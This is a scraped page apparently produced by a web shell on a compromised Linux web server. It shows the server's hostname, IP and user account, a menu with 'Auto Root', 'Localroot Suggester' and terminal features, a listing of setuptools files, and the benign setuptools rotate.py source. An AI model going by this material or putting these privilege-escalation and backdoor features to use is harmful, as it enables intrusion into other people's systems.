Linux sg77.dns-private.com 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
LiteSpeed
Server IP : 135.181.230.13 & Your IP : 216.73.217.69
Domains :
Cant Read [ /etc/named.conf ]
User : pilasate
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python3.9 /
site-packages /
setuptools /
command /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2025-05-16 06:17
__init__.py
568
B
-rw-r--r--
2024-10-02 19:20
alias.py
2.33
KB
-rw-r--r--
2024-10-02 19:20
bdist_egg.py
16.21
KB
-rw-r--r--
2024-10-02 19:20
bdist_rpm.py
900
B
-rw-r--r--
2024-10-02 19:20
bdist_wininst.py
922
B
-rw-r--r--
2024-10-02 19:20
build_clib.py
4.31
KB
-rw-r--r--
2024-10-02 19:20
build_ext.py
12.72
KB
-rw-r--r--
2024-10-02 19:20
build_py.py
9.25
KB
-rw-r--r--
2024-10-02 19:20
develop.py
7.86
KB
-rw-r--r--
2024-10-02 19:20
dist_info.py
960
B
-rw-r--r--
2024-10-02 19:20
easy_install.py
83.33
KB
-rw-r--r--
2024-10-02 19:20
egg_info.py
24.74
KB
-rw-r--r--
2024-10-02 19:20
install.py
4.59
KB
-rw-r--r--
2024-10-02 19:20
install_egg_info.py
2.15
KB
-rw-r--r--
2024-10-02 19:20
install_lib.py
3.78
KB
-rw-r--r--
2024-10-02 19:20
install_scripts.py
2.46
KB
-rw-r--r--
2024-10-02 19:20
launcher manifest.xml
628
B
-rw-r--r--
2024-10-02 19:20
py36compat.py
4.83
KB
-rw-r--r--
2024-10-02 19:20
register.py
468
B
-rw-r--r--
2024-10-02 19:20
rotate.py
2.08
KB
-rw-r--r--
2024-10-02 19:20
saveopts.py
658
B
-rw-r--r--
2024-10-02 19:20
sdist.py
5.83
KB
-rw-r--r--
2024-10-02 19:20
setopt.py
4.93
KB
-rw-r--r--
2024-10-02 19:20
test.py
9.25
KB
-rw-r--r--
2024-10-02 19:20
upload.py
462
B
-rw-r--r--
2024-10-02 19:20
upload_docs.py
6.98
KB
-rw-r--r--
2024-10-02 19:20
Save
Rename
from distutils.util import convert_path from distutils import log from distutils.errors import DistutilsOptionError import os import shutil from setuptools import Command class rotate(Command): """Delete older distributions""" description = "delete older distributions, keeping N newest files" user_options = [ ('match=', 'm', "patterns to match (required)"), ('dist-dir=', 'd', "directory where the distributions are"), ('keep=', 'k', "number of matching distributions to keep"), ] boolean_options = [] def initialize_options(self): self.match = None self.dist_dir = None self.keep = None def finalize_options(self): if self.match is None: raise DistutilsOptionError( "Must specify one or more (comma-separated) match patterns " "(e.g. '.zip' or '.egg')" ) if self.keep is None: raise DistutilsOptionError("Must specify number of files to keep") try: self.keep = int(self.keep) except ValueError as e: raise DistutilsOptionError("--keep must be an integer") from e if isinstance(self.match, str): self.match = [ convert_path(p.strip()) for p in self.match.split(',') ] self.set_undefined_options('bdist', ('dist_dir', 'dist_dir')) def run(self): self.run_command("egg_info") from glob import glob for pattern in self.match: pattern = self.distribution.get_name() + '*' + pattern files = glob(os.path.join(self.dist_dir, pattern)) files = [(os.path.getmtime(f), f) for f in files] files.sort() files.reverse() log.info("%d file(s) matching %s", len(files), pattern) files = files[self.keep:] for (t, f) in files: log.info("Deleting %s", f) if not self.dry_run: if os.path.isdir(f): shutil.rmtree(f) else: os.unlink(f)